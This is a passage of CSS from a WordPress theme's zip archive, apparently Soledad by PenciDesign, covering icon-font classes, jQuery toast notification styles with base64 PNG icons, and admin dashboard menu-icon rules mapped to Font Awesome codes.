}.penci-icon-tag:before{content:"\e91c"}.penci-icon-time:before{content:"\e91d"}.penci-icon-tumblr:before{content:"\e91e"}.penci-icon-twitter:before{content:"\e91f"}.penci-icon-user:before{content:"\e920"}.penci-icon-vimeo:before{content:"\e921"}.penci-icon-zoom:before{content:"\e922"}PK     N\]      css/jquery.toast.min.cssnu [        .jq-toast-wrap,.jq-toast-wrap *{margin:0;padding:0}.jq-toast-wrap{display:block;position:fixed;width:250px;pointer-events:none!important;letter-spacing:normal;z-index:999999999999!important}.jq-toast-wrap.bottom-left{bottom:20px;left:20px}.jq-toast-wrap.bottom-right{bottom:20px;right:40px}.jq-toast-wrap.top-left{top:20px;left:20px}.jq-toast-wrap.top-right{top:20px;right:40px}.jq-toast-single{display:block;width:100%;padding:10px;margin:0 0 5px;border-radius:4px;font-size:12px;font-family:arial,sans-serif;line-height:17px;position:relative;pointer-events:all!important;background-color:#444;color:#fff}.jq-toast-single h2{font-family:arial,sans-serif;font-size:14px;margin:0 0 7px;background:0 0;color:inherit;line-height:inherit;letter-spacing:normal}.jq-toast-single a{color:#eee;text-decoration:none;font-weight:700;border-bottom:1px solid #fff;padding-bottom:3px;font-size:12px}.jq-toast-single ul{margin:0 0 0 15px;background:0 0;padding:0}.jq-toast-single ul li{list-style-type:disc!important;line-height:17px;background:0 0;margin:0;padding:0;letter-spacing:normal}.close-jq-toast-single{position:absolute;top:3px;right:7px;font-size:14px;cursor:pointer}.jq-toast-loader{display:block;position:absolute;top:-2px;height:5px;width:0;left:0;border-radius:5px;background:red}.jq-toast-loaded{width:100%}.jq-has-icon{padding:10px 10px 10px 50px;background-repeat:no-repeat;background-position:10px}.jq-icon-info{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=);background-color:#31708f;color:#d9edf7;border-color:#bce8f1}.jq-icon-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=);background-color:#8a6d3b;color:#fcf8e3;border-color:#faebcc}.jq-icon-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=);background-color:#a94442;color:#f2dede;border-color:#ebccd1}.jq-icon-success{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==);color:#dff0d8;background-color:#3c763d;border-color:#d6e9c6}.jq-toast-single.jq-has-icon {background-image: none;}.jq-toast-single .jq-toast-heading {font-weight: bold;font-size: 14px;}html .jq-toast-single .jq-toast-loader {background-color: var(--pcaccent-cl) !important;}html .jq-toast-wrap {width: 270px;}html .jq-toast-single {font-family: var(--pcbody-font);font-size: 12px;border-radius: 0;margin: 10px 0 0 0;padding: 20px;background-color: var(--pcbg-cl);color: var(--pctext-cl);box-shadow: 0 1px 4px rgba(55, 55, 55, 0.2);}html .jq-toast-wrap .js-toast-single:first-child {margin-top: 0;}html .jq-toast-single h2 {font-size: 13px;}html .jq-toast-single *, html .jq-toast-single p, html .jq-toast-single a {font-size: inherit;color: inherit;}html .jq-toast-single br {display: none;}html .jq-toast-loader {border-radius: 0;}html .jq-toast-heading {overflow: hidden;display: flex;align-items: center;}html span.close-jq-toast-single {font-size: 28px;top: 8px;opacity: 0.6;}html .jq-toast-heading p {font-size: 13px;line-height: 1.3;margin: 0;padding: 0;}html .jq-toast-heading > a {padding: 0;}html .jq-toast-heading .toast-title {display: block;font-weight: bold;font-family: var(--pchead-font);font-size: 13px;line-height: 1.3;}html .jq-toast-heading .toast-title:hover {color: var(--pcaccent-cl);}html .jq-toast-heading .product_image {max-width: 50px;height: auto;float: left;margin-right: 10px;}html .jq-toast-heading {font-weight: normal;}html .jq-toast-heading strong {display: block;font-weight: bold;}html .jq-toast-single .notify_bottom {overflow: hidden;margin-top: 15px;}html .jq-toast-single .notify_bottom a {width: 48%;float: left;padding: 0 5px;line-height: 32px;}html .jq-toast-single .notify_bottom a.wishlist_url, html .jq-toast-single .notify_bottom a.compare_url {width: 100%;float: none;}html .jq-toast-single .notify_bottom a.checkout_url {float: right;}PK     N\
Z    css/admin.cssnu [        /**
 * All admin css go here
 *
 * @since 2.0
 * @author PenciDesign
 */
.php-error #adminmenuwrap {
	margin: 0 !important;
}
.update-nag {
	display: block;
}
#customize-notifications-area {
	display: none !important;
}
.wp-full-overlay-sidebar-content {
	margin-top: 60px;
}
tr.type-penci_slider:hover {
	cursor: move;
}

.penci-metabox-table tr {
	border-top: 1px solid #eeeeee;
}

.penci-metabox-table th {
	width: 25%;
}

.penci-metabox-table label span {
	color: #999999;
	font-size: 12px;
	display: block;
	line-height: 20px;
	margin: 0px 0 0;
	font-weight: normal;
}

.penci-metabox-table input,
.penci-metabox-table textarea {
	float: left;
	margin-right: 20px;
	width: 100%;
	transition: all 0.2s linear;
	-moz-transition: all 0.2s linear;
	-webkit-transition: all 0.2s linear;
	-o-transition: all 0.2s linear;
}

.penci-metabox-table textarea#_penci_slider_caption,
.penci-metabox-table input#_penci_slider_heading {
	transition: border-color 0.2s linear;
	-webkit-transition: border-color 0.2s linear;
}

.penci-metabox-table input[type="checkbox"] {
	width: 20px;
}

.penci-metabox-table .button-secondary.has-margin {
	margin-top: 20px;
	transition: none;
	-webkit-transition: none;
	-moz-transition: none;
}

.penci-metabox-table input.file {
	width: 85%;
}

.penci-metabox-table input.button {
	margin-right: 0;
	width: auto;
}

.penci-metabox-table input.radio {
	float: none;
	margin-right: 3px;
	width: auto;
}

.penci-metabox-table .radio-label {
	margin-right: 10px;
}

.penci-opts-screenshot[src=""] {
	height: 1px;
	width: 1px;
	opacity: 0;
}

.penci-metabox-table img {
	width: 50%;
	display: block;
}

.slider-thumb {
	width: 85%;
	margin-right: 15%;
}

td.caption.column-caption,
td.actions.column-actions,
.type-penci_slider td.column-title,
.type-penci_slider td.column-date,
.type-penci_slider th.check-column {
	vertical-align: middle;
}

.type-penci_slider a,
.type-penci_slider a:focus {
	outline: none;
}

.type-penci_slider td.column-title strong {
	display: none;
}

.type-penci_slider td.column-title .row-actions {
	visibility: visible;
}

td.caption.column-caption,
.manage-column.column-caption {
	width: 42%;
}

td.thumbnail.column-thumbnail,
.manage-column.column-thumbnail {
	width: 18%;
	padding: 10px;
}

td.menu_order.column-menu_order {
	font-size: 34px;
	line-height: 34px;
}

td.caption.column-caption {
	font-size: 24px;
	padding-right: 20px;
	line-height: 28px;
}

.post-type-penci_slider td.caption.column-caption img,
.penci_slider_page_nectar-slide-order td.caption.column-caption img {
	max-width: 35%;
	display: block;
	background-color: #f9f9f9;
}

@font-face {
	font-family: "FontAwesome";
	src: url("../fonts/fontawesome-webfont.eot?v=4.7.0");
	src: url("../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0")
			format("embedded-opentype"),
		url("../fonts/fontawesome-webfont.woff2?v=4.7.0") format("woff2"),
		url("../fonts/fontawesome-webfont.woff?v=4.7.0") format("woff"),
		url("../fonts/fontawesome-webfont.ttf?v=4.7.0") format("truetype"),
		url("../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular")
			format("svg");
	font-weight: normal;
	font-style: normal;
}

#toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "";
	background-image: url(../images/icon.png);
	background-repeat: no-repeat;
	background-position: center center;
	top: -2px;
	position: relative;
}

body[class*="fa-"]:before {
	content: none !important;
}

body[class*="fa-"] #toplevel_page_soledad_dashboard_welcome .wp-menu-image {
	display: inline-block;
}

body[class*="fa-"]
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	background-image: none;
	top: 2px;
	font: normal normal normal 14px/1 FontAwesome;
	font-size: inherit;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	font-size: 16px;
	-moz-osx-font-smoothing: grayscale;
}

body.fa-glass #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f000";
}

body.fa-music #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f001";
}

body.fa-search #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f002";
}

body.fa-envelope-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f003";
}

body.fa-heart #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f004";
}

body.fa-star #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f005";
}

body.fa-star-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f006";
}

body.fa-user #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f007";
}

body.fa-film #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f008";
}

body.fa-th-large
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f009";
}

body.fa-th #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f00a";
}

body.fa-th-list #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f00b";
}

body.fa-check #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f00c";
}

body.fa-remove #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-close #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-times #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f00d";
}

body.fa-search-plus
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f00e";
}

body.fa-search-minus
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f010";
}

body.fa-power-off
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f011";
}

body.fa-signal #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f012";
}

body.fa-gear #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-cog #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f013";
}

body.fa-trash-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f014";
}

body.fa-home #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f015";
}

body.fa-file-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f016";
}

body.fa-clock-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f017";
}

body.fa-road #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f018";
}

body.fa-download
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f019";
}

body.fa-arrow-circle-o-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f01a";
}

body.fa-arrow-circle-o-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f01b";
}

body.fa-inbox #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f01c";
}

body.fa-play-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f01d";
}

body.fa-rotate-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-repeat #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f01e";
}

body.fa-refresh #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f021";
}

body.fa-list-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f022";
}

body.fa-lock #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f023";
}

body.fa-flag #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f024";
}

body.fa-headphones
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f025";
}

body.fa-volume-off
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f026";
}

body.fa-volume-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f027";
}

body.fa-volume-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f028";
}

body.fa-qrcode #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f029";
}

body.fa-barcode #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f02a";
}

body.fa-tag #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f02b";
}

body.fa-tags #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f02c";
}

body.fa-book #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f02d";
}

body.fa-bookmark
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f02e";
}

body.fa-print #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f02f";
}

body.fa-camera #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f030";
}

body.fa-font #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f031";
}

body.fa-bold #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f032";
}

body.fa-italic #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f033";
}

body.fa-text-height
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f034";
}

body.fa-text-width
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f035";
}

body.fa-align-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f036";
}

body.fa-align-center
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f037";
}

body.fa-align-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f038";
}

body.fa-align-justify
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f039";
}

body.fa-list #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f03a";
}

body.fa-dedent #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-outdent #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f03b";
}

body.fa-indent #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f03c";
}

body.fa-video-camera
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f03d";
}

body.fa-photo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-image #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-picture-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f03e";
}

body.fa-pencil #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f040";
}

body.fa-map-marker
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f041";
}

body.fa-adjust #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f042";
}

body.fa-tint #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f043";
}

body.fa-edit #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-pencil-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f044";
}

body.fa-share-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f045";
}

body.fa-check-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f046";
}

body.fa-arrows #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f047";
}

body.fa-step-backward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f048";
}

body.fa-fast-backward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f049";
}

body.fa-backward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f04a";
}

body.fa-play #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f04b";
}

body.fa-pause #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f04c";
}

body.fa-stop #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f04d";
}

body.fa-forward #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f04e";
}

body.fa-fast-forward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f050";
}

body.fa-step-forward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f051";
}

body.fa-eject #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f052";
}

body.fa-chevron-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f053";
}

body.fa-chevron-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f054";
}

body.fa-plus-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f055";
}

body.fa-minus-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f056";
}

body.fa-times-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f057";
}

body.fa-check-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f058";
}

body.fa-question-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f059";
}

body.fa-info-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f05a";
}

body.fa-crosshairs
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f05b";
}

body.fa-times-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f05c";
}

body.fa-check-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f05d";
}

body.fa-ban #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f05e";
}

body.fa-arrow-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f060";
}

body.fa-arrow-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f061";
}

body.fa-arrow-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f062";
}

body.fa-arrow-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f063";
}

body.fa-mail-forward
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-share #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f064";
}

body.fa-expand #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f065";
}

body.fa-compress
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f066";
}

body.fa-plus #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f067";
}

body.fa-minus #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f068";
}

body.fa-asterisk
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f069";
}

body.fa-exclamation-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f06a";
}

body.fa-gift #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f06b";
}

body.fa-leaf #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f06c";
}

body.fa-fire #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f06d";
}

body.fa-eye #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f06e";
}

body.fa-eye-slash
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f070";
}

body.fa-warning #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-exclamation-triangle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f071";
}

body.fa-plane #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f072";
}

body.fa-calendar
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f073";
}

body.fa-random #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f074";
}

body.fa-comment #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f075";
}

body.fa-magnet #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f076";
}

body.fa-chevron-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f077";
}

body.fa-chevron-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f078";
}

body.fa-retweet #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f079";
}

body.fa-shopping-cart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f07a";
}

body.fa-folder #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f07b";
}

body.fa-folder-open
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f07c";
}

body.fa-arrows-v
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f07d";
}

body.fa-arrows-h
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f07e";
}

body.fa-bar-chart-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-bar-chart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f080";
}

body.fa-twitter-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f081";
}

body.fa-facebook-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f082";
}

body.fa-camera-retro
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f083";
}

body.fa-key #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f084";
}

body.fa-gears #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-cogs #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f085";
}

body.fa-comments
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f086";
}

body.fa-thumbs-o-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f087";
}

body.fa-thumbs-o-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f088";
}

body.fa-star-half
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f089";
}

body.fa-heart-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f08a";
}

body.fa-sign-out
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f08b";
}

body.fa-linkedin-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f08c";
}

body.fa-thumb-tack
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f08d";
}

body.fa-external-link
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f08e";
}

body.fa-sign-in #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f090";
}

body.fa-trophy #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f091";
}

body.fa-github-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f092";
}

body.fa-upload #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f093";
}

body.fa-lemon-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f094";
}

body.fa-phone #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f095";
}

body.fa-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f096";
}

body.fa-bookmark-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f097";
}

body.fa-phone-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f098";
}

body.fa-twitter #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f099";
}

body.fa-facebook-f
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-facebook
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f09a";
}

body.fa-github #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f09b";
}

body.fa-unlock #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f09c";
}

body.fa-credit-card
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f09d";
}

body.fa-feed #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-rss #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f09e";
}

body.fa-hdd-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0a0";
}

body.fa-bullhorn
